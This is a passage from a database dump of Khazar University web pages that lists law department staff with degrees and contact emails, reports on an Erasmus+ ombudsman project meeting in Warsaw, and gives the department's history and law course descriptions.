src=\"/files/letters/akif_a.jpg\" style=\"width:150px;height:152px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/social/1/SV-Alizade%20A.pdf\">Akif A.&nbsp;Alizadeh</a>&nbsp;(Lawyer of Khazar University)</strong><em></em></p><p>M.S. in&nbsp;Law (Baku State University, Azerbaijan)  </p><p>Instructor of Department</p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:Akif.Alizade@khazar.org\">Akif.Alizade[at]khazar.org</a>  </p><p><br></p><p><br></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><strong><a href=\"http://www.khazar.org/files/social/1/CV-Altay.pdf\"><img src=\"/files/letters/altay_m.jpg\" style=\"border:0px  #0000ee;width:150px;height:170px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Altay Mustafayev</a><em></em></strong></p><p>Ph.D. in Juridical Sciences (Baku State University, Azerbaijan)  <br></p><p>Instructor of Department  <br></p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:altay_attorney[at]yahoo.com\">altay_attorney[at]yahoo.com</a></p><p><br></p><p><br></p><p><br></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><strong><a href=\"http://www.khazar.org/files/social/1/Personal%20information%20Leyla%20Mammadova.pdf\"></a><img src=\"/files/letters/leyla-m.jpg\" style=\"width:150px;height:200px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><a href=\"http://www.khazar.org/files/social/1/Personal%20information%20Leyla%20Mammadova.pdf\">Leyla Mammadova</a><a href=\"http://www.khazar.org/files/social/1/Personal%20information%20Leyla%20Mammadova.pdf\"></a></strong><a href=\"http://www.khazar.org/files/social/1/Personal%20information%20Leyla%20Mammadova.pdf\"></a></p><p>M.A.&nbsp;in State Law&nbsp;(Baku State University, Azerbaijan)  </p><p>Instructor of Department  <br></p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:Lmammadova@khazar.com\">Lmammadova[at]khazar.com</a>  <br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><strong><img src=\"/files/letters/saadat_n.jpg\" style=\"width:150px;height:189px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><a href=\"http://www.khazar.org/files/letters/CV_General_Saadat_Novruzova.pdf\">Saadat Novruzova</a></strong></p><p>Ph.D. in Law&nbsp;(Azerbaijan National Academy of Sciences)</p><p>Instructor of Department  <br></p><p><strong style=\"font-weight:bold\">E-mail:&nbsp;</strong><a href=\"mailto:saadat_n[at]yahoo.com\">saadat_n[at]yahoo.com</a>&nbsp;</p>  <p><br></p><p><br></p><p><br></p>'),(970,626,'az','İşçi heyəti','İşçi heyəti','<p><img src=\"http://www.khazar.org/files/image/CABIR%20KHALILOV.jpg\" style=\"width:150px;height:174px;margin:7px;float:left\"></p><p><a href=\"http://www.khazar.org/files/social/1/Jabir%20K%20CV.pdf\"><strong>Cabir &nbsp;Xəlilov</strong></a><em> -&nbsp;</em><strong>Dosent</strong></p><p><strong></strong>Departament&nbsp;rəhbəri</p><p>Əlaqə nömrəsi: (+99412)&nbsp;421&nbsp;79 16 (258)</p><p><strong>E-mail</strong>:&nbsp;<a href=\"mailto:cxalilov[at]khazar.org\">cxalilov[at]khazar.org</a> <br></p><p><br></p><p><br></p><p><br></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><a href=\"http://www.khazar.org/files/social/1/SV-Alizade%20A.pdf\"></a><img src=\"/files/letters/akif_a.jpg\" style=\"width:150px;height:152px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/social/1/SV-Alizade%20A.pdf\">Akif Əlizadə</a>&nbsp;(Xəzər Universitetinin Hüquqşünası)</strong><a href=\"http://www.khazar.org/files/social/1/SV-Alizade%20A.pdf\"></a><em></em></p><p>Hüquq fakültəsi&nbsp;(Bakı Dövlət Universiteti, Azərbaycan)</p><p>Departamentin müəllimi</p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:Akif.Alizade@khazar.org\">Akif.Alizade[at]khazar.org</a>   <a href=\"maialto:akifalizadeh[at]yahoo.com\"></a></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><strong><a href=\"http://www.khazar.org/files/social/1/CV-Altay.pdf\"><img src=\"/files/letters/altay_m.jpg\" style=\"border:0px  #0000ee;width:150px;height:170px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Altay Mustafayev</a><em></em></strong></p><p>Hüquq üzrə fəlsəfə doktoru (Bakı Dövlət Universiteti, Azərbaycan)</p><p>Departamentin müəllimi  <br></p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:altay_attorney[at]yahoo.com\">altay_attorney[at]yahoo.com</a> <br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><strong><a href=\"http://www.khazar.org/files/social/1/Personal%20information%20Leyla%20Mammadova.pdf\"></a><img src=\"/files/letters/leyla-m.jpg\" style=\"width:150px;height:200px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><a href=\"http://www.khazar.org/files/social/1/Personal%20information%20Leyla%20Mammadova.pdf\">Leyla Məmmədova</a><a href=\"http://www.khazar.org/files/social/1/Personal%20information%20Leyla%20Mammadova.pdf\"></a></strong><a href=\"http://www.khazar.org/files/social/1/Personal%20information%20Leyla%20Mammadova.pdf\"></a></p><p>Magistr&nbsp;(Bakı Dövlət Universiteti, Azərbaycan)  </p><p>Departamentin müəllimi  <br></p><p><strong>E-mail:</strong> <a href=\"mailto:Lmammadova@khazar.com\">Lmammadova@khazar.com</a>    <a href=\"mailto:leylaqoculu[at]yahoo.com\"></a></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><strong><img src=\"/files/letters/saadat_n.jpg\" style=\"width:150px;height:189px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><a href=\"http://www.khazar.org/files/letters/CV_General_Saadat_Novruzova.pdf\">Səadət Novruzova</a></strong><em></em></p><p>Hüquq üzrə fəlsəfə doktoru&nbsp;(Azərbaycan&nbsp;Milli&nbsp;Elmlər&nbsp;Akademiyası)  <br></p><p>Departamentin müəllimi  <br></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:saadat_n[at]yahoo.com\">saadat_n[at]yahoo.com</a><strong>&nbsp;</strong><br></p>  <p><br></p><p><br></p>'),(3515,2062,'en','Representatives of Khazar University Attend AESOP Meeting Project','On April 3-7, 2017, a study meeting for the “Advocacy Establishment for Students through Ombudsman Position (AESOP)” Erasmus + project was held at Warsaw University in...','<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">On April 3-7, 2017, a study meeting for the “Advocacy Establishment for\r\nStudents through Ombudsman Position (AESOP)” Erasmus + project was held at Warsaw\r\nUniversity in Warsaw, Poland.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">The purpose of the meeting was to familiarize the participants with the\r\nwork of the office of the Ombudsman at the University of Warsaw. Rima\r\nMammadova, the project manager for the University and Coordinator of the Center\r\nfor Students with Disabilities; and Lamia Namazova, Head of Admission Office,\r\nrepresented Khazar University at the meetings.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">The meeting started with welcome speeches of Anna Cybulko, The Ombudsman\r\nof Warsaw University; Professor Jolanta Choińska-Mika, Vice-Rector for Student\r\nAffairs and Quality of Teaching; and Professor Jan Malicki, Center for East\r\nEuropean Studies. Professor Ewa Gmurzyńska, Head of the Center of Dispute and\r\nConflict Resolution spoke about systematic approach to academic conflict\r\nresolution in the perspective of Warsaw University. Professor Daug Yarn from Georgia\r\nState University (USA) also spoke about systematic approach to academic\r\nconflict resolution, but in the perspective of the universities in the USA. During\r\nthe meeting, all regional partners made presentations about their universities.\r\nRima Mammadova made a widely informed presentation about Khazar University, its\r\nimportance for the education cycle in Azerbaijan Republic, student lifestyle\r\nand ways of improving the level of education for students (local and\r\ninternational) which was followed with the Questions &amp; Answers session\r\nafterwards. The meeting ended with a guide tour of the University of Warsaw. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">On the\r\nsecond day of the meeting, staff of Ombudsman Office, Anna Cybulko and Łukasz\r\nModzelewski made presentations on how to organize an Ombudsman office and what\r\nare the roles and duties of Ombudsperson. Following their presentations,\r\nrepresentatives of Students’ Unions spoke their roles on providing students’\r\nrights and their collaboration with Ombudsman Office.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">The\r\nthird day of the meeting dedicated to the cooperation of Ombudsman Office with\r\nother University authorities, administrations and units. Representatives of the\r\nStudents’ Office and representative of the Rector’s Anti-Discrimination\r\nCommission spoke about their activities,mission and goals and as well as their\r\nrelationship with Ombudsman Office. Bartłomiej Chludziński, Ombudsman of Nicolaus\r\nCopernicus University in Torun, made a presentation on Ombudsman Office at Nicolaus\r\nCopernicus University. He spoke about the history of the Office, its activities\r\nand the roles of Ombudsperson. Agnieszka Siedlecka from the Center of Dispute\r\nand Conflict Resolution of Warsaw University spoke their activities and\r\nexplained the roles and duties of mediators.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">During\r\nthe meeting, two Job Shadowings (workshops) were organized:\r\nOmbudsman Office leaded by Łukasz Modzelewski and the Center of Dispute and\r\nConflict Resolution leaded by Katarzyna Drzazgowska. Representatives from\r\nKhazar University attended both offices and got acquainted with the activities\r\nof the Office on the place. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Rima\r\nMammadova also met with Ms Sylwia Salamon, IRO head and Erasmus Institutional\r\nCoordinator and Ms Katarzyna Kozdra, responsible for the cooperation with\r\nAzerbaijan. She provided information about international projects of Khazar\r\nUniversity, possible future co-operation on projects within the Erasmus+\r\nprogram and presented promotional materials of Khazar University to them.&nbsp;</p>'),(971,627,'en','Department History','Department History','<p style=\"text-align:justify\">The Department of Law is one of the first academic divisions established at Khazar University in 1991. Recent changes in the social and political situation in the region, the country\'s regaining independence, and the new problems arising in the sphere of Law and Legal Regulations are the main features defining the core ideas of the School\'s development. Since its earliest days, the Department has continued to maintain the highest standards of legal education with an emphasis on solid academic foundation and practical skills. </p><p style=\"text-align:justify\">The essential mission of the department is to help students meet the demands of a&nbsp;rapidly changing legal and professional environment. The department is a center of&nbsp;legal scholarship, whose members work to enlarge society\'s understanding of law&nbsp;as well as its underlying policies, legal institutions and legal processes.  <br></p><p style=\"text-align:justify\">The main research areas of the Law  Department are the problems of the theory and history of state and law; constitutional law; municipal law; Administrative law; problems of civil law in the transition to a market economy; labor law; business right; studying the causes and conditions of crime, and developing the elimination prophylaxis; regulation of the administration of justice; the application of scientific and technical means in the investigation, investigation and trial; tactical issues of crime investigation.&nbsp;</p>'),(972,627,'az','Departament Tarixi','Departament Tarixi','<p style=\"text-align:justify\">Hüquq departamenti 1994-cu ildə hüquq fakültəsində yaradılmışdır. Fəaliyyət göstərdiyi müddətdən bəri Hüquq departamenti yüzlərlə yüksək ixtisaslı hüquqşünas kadr yetişdirmiş, respublikanın hüquq mühafizə orqanlarını, dövlət, hökumət və özəl qurumlarını hüquqşünas kadrlarla təmin etmişdir.</p><p style=\"text-align:justify\">Hüquq departamenti Universitetin aparıcı qurumlardan biridir. О, Хəzər Universitetinin əsası qоyulduğu gündən, 1991-ci il tariхində yaradılmışdır. Departamentin fərqləndirici хüsusiyyəti qismində müəllimlər tərəfindən tədris və tədqiqat sahəsində innоvasiyaların tətbiqini və tələbələrin tədris sahəsində göstərdiyi fəallığı göstərmək оlar.Tədris prоsesində azərbaycan və ingilis dillərindən istifadə оlunur. Ingilis dilindən tədris dili kimi istifadə оlunması həm tələbələrin, həm də fakültənin tədris, tədqiqat, peşəkar fəaliyyətində yardım edir, оnlara dünyada peşəkar cəmiyyətlə ünsiyyət üçün yeni imkanlar yaradır. Departamentdə 12 nəfərə yaxın professor-müəllim heyəti çalışır.&nbsp;</p><p style=\"text-align:justify\"><span style=\"text-align:justify\">Hüquq departamentinin əsas elmi tədqiqat sahələri: dövlət və hüquq nəzəriyyəsi və tarixinin problemləri; konstitusiya hüququ; bələdiyyə hüququ; inzibati hüquq; bazar iqtisadiyyatına keçid şəraitində mülki hüququn problemləri; əmək hüququ; biznes hüququ; cinayətkarlığın səbəb və şəraitinin öyrənilməsi, aradan qaldırılması proflaktikasını işləyib hazırlanması; ədalət mühakiməsinin həyata keçirilməsi münasibətlərinin tənzimlənməsi; cinayətlərin açılmasında, istintaqında və məhkəmə baxışında elmi-texniki vasitələrin tətbiqi məsələləri; cinayətlərin istintaqının taktiki məsələləri.</span><br></p>'),(973,628,'en','Course descriptions','Course descriptions','<p style=\"text-align:justify\"><strong>LAW 102: Law Enforcement Systems (6&nbsp;ECTS)</strong></p><p style=\"text-align:justify\"><strong>Prerequisite: NONE</strong></p><p style=\"text-align:justify\">In the framework of this course, students will get acquainted with various institutions of justice in Azerbaijan. Judicial authority, systems of general and economic courts, aims, problems and main functions of the Constitutional Court of Azerbaijan will be considered during the course. It also explores the structure of other Law Enforcement Systems of Azerbaijan.  <br></p><p style=\"text-align:justify\"><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong>&nbsp;</strong><strong>LAW 104: Law and Society (Theory and History of State and Law) (<strong>6&nbsp;ECTS</strong> )</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: NONE</strong></p><p style=\"text-align:justify\"><strong></strong>The course studies philosophical and historical characteristics of the basic concepts of State and Law, as well as legislative, executive, and judicial branches of the government. It also explores legal institutions of different European and Asian societies from the ancient and medieval times till present.<strong>&nbsp;</strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 106: Constitutional Law (<strong>6&nbsp;ECTS</strong> )</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: NONE</strong></p><p style=\"text-align:justify\"><strong></strong>This course mainly explores the basis of human rights and freedoms, political and economic structure of society and the main principles of formation and activities of the state governmental bodies.<strong>&nbsp;</strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 107: Basics of Law (<strong>6&nbsp;ECTS</strong> )</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: NONE</strong></p><p style=\"text-align:justify\"><strong></strong>This course provides a basic understanding of the legal system of Azerbaijan Republic. The course focus includes procedural issues in the courts and specific concepts of basic categories of law (including civil law, criminal law, family law, labor law and tax law). This course is designed for non-law students.<strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 108: Roman Law (<strong>6&nbsp;ECTS</strong></strong><strong>)</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: NONE</strong></p><p style=\"text-align:justify\"><strong></strong>This course is one devoted to understanding the principles and mechanisms of the Roman law. Students will be concerned with the emergence of the main concepts of the civil law, the development of legal thinking, and the means by which the law was applied in daily life. Major areas of the law that will be covered include the law of persons, the law of property and ownership, contracts, delicts, and ‘crime’. The development of a legal profession, of the court system, and of actions and types of litigation will also be considered.<strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong>LAW 118: Administrative Law (<strong>6&nbsp;ECTS</strong>)</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 106</strong></p><p style=\"text-align:justify\"><strong></strong>This course studies existing administrative systems in Azerbaijan. It also explores the constitutional powers and limitations on agency action, judicial review of agencies, and the procedures with which agencies must comply in regulating or providing benefits.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 128: Islamic Law (<strong>6&nbsp;ECTS</strong>)</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: NONE</strong></p><p style=\"text-align:justify\"><strong></strong>The course studies nature of Islamic Law, its origins and historical development, the medieval schools of law modern, the evolution of the law, and its roles in Islamic religious and political thought. It also deals with the definition of Islamic Sharia’ as a source of law, characteristics of Islamic law and Islamic jurisprudence, and the relationship between Islamic law and Islamic jurisprudence.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 202: Civil Law (General Part) (<strong>6&nbsp;ECTS</strong>)</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 106</strong></p><p style=\"text-align:justify\"><strong></strong>The course on Civil Law is one of the main legal disciplines, the study of which is necessary for all the students of the law department. It covers general and theoretical aspects of Civil Law and discusses definite scientific institutes existing in Civil Law. Among the topics covered during the course, the following can be mentioned: principles of civil rights, bases for civil relations’ occurrence, the occurrence of civil rights and duties, a concept of property forms, etc. This course is taught in two semesters. The first part of the course is mainly about legal entities and individuals, terms in Civil Law, bargaining and torts.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 204: Criminal Law (General Part) (<strong>6&nbsp;ECTS</strong>)</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 106</strong></p><p style=\"text-align:justify\"><strong></strong>Criminal law course examines the traditional general issues in the substantive criminal law, including the purposes of punishment, the requirements of the act and mental state, complicity, causation, justification, an excuse. It stresses the difficulty of converting moral judgments of blameworthiness and psychological questions about deterrence into coherent positive law.<strong>&nbsp;</strong>This course is taught in two semesters. The first part of the course studies General Part of the Criminal Code of Azerbaijan Republic. It mainly focuses on the fundamental principles of Criminal Law, general institutions of Criminal Law, detailed analysis of specific offenses and types of sanctions. This course mainly deals with the General part of the Criminal code of Azerbaijan Republic<strong>.</strong>&nbsp;Topics to be covered in the course are the definition of crime and punishment, the elements, and obligations of the crime.</p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong>LAW 206: Legal English (ESP) (<strong>6&nbsp;ECTS</strong>)</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: ENGL 101,102; LAW 104</strong></p><p style=\"text-align:justify\"><strong></strong>This course focuses on providing students with the necessary knowledge and skills to be successful in an English-speaking legal environment.&nbsp; The course covers legal vocabulary, oral and written argumentation, and public speaking. It will help students develop the language skills, legal knowledge, and confidence necessary to be successful in international careers in the field of law.<strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 212: Civil Law (Special Part) (<strong>6&nbsp;ECTS</strong>)</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 202</strong></p><p style=\"text-align:justify\"><strong></strong>The second part of the course studies contract, debt, purchase, leasing, etc. This course also explores delicts of the torts.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 214: Criminal Law (Special Part) (<strong>6&nbsp;ECTS</strong>)</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 204</strong></p><p style=\"text-align:justify\"><strong></strong>The second part of the course studies Special Part of the Criminal Code of Azerbaijan Republic. The aim of this course is to explore each criminal action<strong><em>.</em></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 220: Family Law (<strong>6&nbsp;ECTS</strong>)</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 106</strong></p><p style=\"text-align:justify\"><strong></strong>This course focuses on the legal regulation and response to family relationships. With respect to adult relationships, topics will include marriage, with emphasis on the evolving law on divorce, the financial consequences of divorce including property division and alimony, premarital agreements, and the laws governing non-marital relationships. With respect to the status of children in the family, topics will include child custody, visitation, child support, adoption, paternity, abuse and neglect and other public law responses to child welfare.</p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong>LAW 224: Welfare Law (<strong>6&nbsp;ECTS</strong>)</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 106</strong></p><p style=\"text-align:justify\"><strong></strong>The science of Welfare itself regulates such a wide range of questions as social and legal issues connected with the citizen’s illness and physical disabilities, old age and pension provision, unemployment and receiving of social help. In the framework of the course program, a comparative analysis of the Welfare systems in Azerbaijan and other countries will be presented.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 302: Civil Process (<strong>6&nbsp;ECTS</strong>)</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 212</strong></p><p style=\"text-align:justify\"><strong></strong>This course covers a wide range of fundamental topics in civil procedure, including joinder of claims and parties, class actions and other aggregative litigation techniques, procedural problems of appeals, other courts, post-verdict practice, remedies, alternatives to adjudication, and selected topics of current interest. This course is strongly recommended for students planning a practice in civil litigation, managing or supervising litigation.<strong></strong><strong>&nbsp;</strong><strong>LAW 304: Criminal Process (<strong>6&nbsp;ECTS</strong>)</strong><strong>Prerequisite: LAW 214</strong>This course provides the students with main theoretical and practical skills about Criminal Process, familiarizes with legislation about Criminal Procedure. The course also explores work principles of investigations by police department preliminary investigator, prosecutor and court to implement the norms of Criminal procedure in practice. Criminal Procedure covers the pretrial criminal process from arrest to charging decision, with emphasis on constitutional criminal procedure, criminal investigation, and criminal evidence. Arrests, searches and seizures, interrogations and confessions, lineups and identification evidence, preliminary hearings, grand jury proceedings, and indictments are considered. Criminal Procedure covers the criminal trial process and post-trial proceedings, including pretrial motions, discovery, guilty pleas, jury selection, trials, sentencing, appeals, and post-conviction relief procedures.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 305: Business Law (<strong>6&nbsp;ECTS</strong>)</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 202</strong></p><p style=\"text-align:justify\"><strong></strong>The course provides students with the knowledge of the modern business law. The course focuses on the following topics: financial law, stocks and other securities transaction contracts, property law, land use control, legal considerations in torts, contracts, corporations, bankruptcy, accounting, and law.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 306: Legal Writing (<strong>6&nbsp;ECTS</strong>)</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 104</strong></p><p style=\"text-align:justify\"><strong></strong>This course provides advanced training in legal writing across the range of situations typically met by the practicing lawyer and in the ways that different types of legal writing help to solve clients’ problems. This course will examine the way that practicing lawyers use writing for the varying types of tasks, which they perform. The course asks students to distinguish between the types of writing that lawyers use for transactions, litigation, statutes, and client communication and helps them to decide how to use those four types of legal writing in particular situations. Each class session will explore a factual situation that calls for a type of legal writing. Another focus of the course will be an exploration of the way that lawyers use the techniques of legal writing to solve problems. Also, the students will learn both objective and persuasive writing styles.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 308: Housing Law (<strong>6&nbsp;ECTS</strong>)</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 212</strong></p><p style=\"text-align:justify\"><strong></strong>This course is aimed to study problems connected with the use of apartment houses (flats) owned by citizens, co-operative societies or the state. Being an applied area of Law, Housing Law is closely connected with practice, where disputes of the similar nature happen very often.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 312: Introduction to Advocacy (<strong>6&nbsp;ECTS</strong>)</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 302, LAW 304</strong></p><p style=\"text-align:justify\"><strong></strong>This introductory course covers the theories, procedures, techniques, tactics and performance aspects of trial practice, as well as the role of the attorney in civil and criminal processes.&nbsp;Students conduct direct and cross examinations, introduce evidence, make opening statements and closing arguments, and participate in trials during this course.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 324:&nbsp;</strong><strong>Municipal Law&nbsp;</strong><strong>(<strong>6&nbsp;ECTS</strong>)</strong></p><p style=\"text-align:justify\"><strong></strong><strong></strong><strong>Prerequisite: LAW 106</strong></p><p style=\"text-align:justify\"><strong></strong>Municipal Law is a rule of civil conduct, prescribed by the supreme power of a state. This course examines the legal and constitutional relationship of the government to the state. The main part of the course explores the nature and powers of local units of government and the legal problems confronting such units. The increased importance of regional planning and special district organization is emphasized.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 326: Agricultural Law (<strong>6&nbsp;ECTS</strong>)</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 212</strong></p><p style=\"text-align:justify\"><strong></strong>This course studies how the law affects and is affected by agriculture, land and production credits, including agricultural leases and security interests in farm products; anti-corporate farming laws; state regulation of production, distribution, and marketing of crops and livestock; agricultural co-operatives; legal mechanisms promoting the preservation of farmland.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 330: Competition Law (<strong>6&nbsp;ECTS</strong>)</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 106</strong></p><p style=\"text-align:justify\"><strong></strong>Competition law is a law which seeks to promote competition and prohibit unfair trade practices in the marketplace and generally encompasses antitrust and consumer protection laws.By the end of the course, students will have gained a good understanding of the general competition law principles.<strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 340: Criminology (<strong>6&nbsp;ECTS</strong>)</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 214</strong></p><p style=\"text-align:justify\"><strong></strong>Criminology is a social-legal science, which studies a crime, its reasons, and circumstances in which it occurs. This course presents an examination of the field of criminology, including its theories, basic assumptions, and definitions. Among the topics covered the following can be mentioned: research design for criminological studies with an emphasis on data collection methods and measurement of validity and reliability, use of statistical techniques in criminology aimed at familiarizing students with the nature and utility of qualitative fieldwork in various areas of criminological research.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 400: Legal Clinics (Criminal Law) (<strong>6&nbsp;ECTS</strong>)</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 304</strong></p><p style=\"text-align:justify\"><strong></strong>This clinical option provides a mechanism for students to earn academic credit for experiential learning done in conjunction with a classroom course. Students engage in activities that allow them to study the law and theory learned during the course of a practice-related experience. Students get experience in representing the clients in criminal cases. Conducted under the supervision of clinical faculty, students are responsible for all aspects of representation, including presentations in court.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 402: Legal Clinics (Civil Law) <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 302</strong></p><p style=\"text-align:justify\"><strong></strong>Students represent clients in a variety of civil matters. These include domestic cases, such as the dissolution of marriage, custody, support, paternity, and domestic violence; housing controversies; consumer problems; challenges to administrative decisions of state; and a variety of other general civil problems.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 404: Patent Law <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 212</strong></p><p style=\"text-align:justify\"><strong></strong>It explores basic principles of Patent Law. Topics include philosophical and public policy considerations underlying Patent Law; requirements for the patentability; operations of Azerbaijan’s Patent Office, including applying for patents procedures; patent applicants’ duties of candor, disclosure to patent office, and consequences for failing to discharge those duties; infringements of patents, including analytical framework for determining whether a patent is infringed; remedies for patent infringement.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 406: Arbitration Law <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 302</strong></p><p style=\"text-align:justify\"><strong></strong>This course will focus on legal and procedural aspects of arbitration agreements and the conduct of arbitration proceedings in Azerbaijan. The course will provide students with an understanding of the law of arbitration as it relates to drafting enforceable agreements to arbitrate virtually any civil claim that can be heard by a court of law. The course will also provide students with an in-depth view of the arbitration process itself, including the filing of an arbitration claim, selecting arbitrators and how to conduct the arbitration proceeding itself.<strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 408: Labor Law <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p 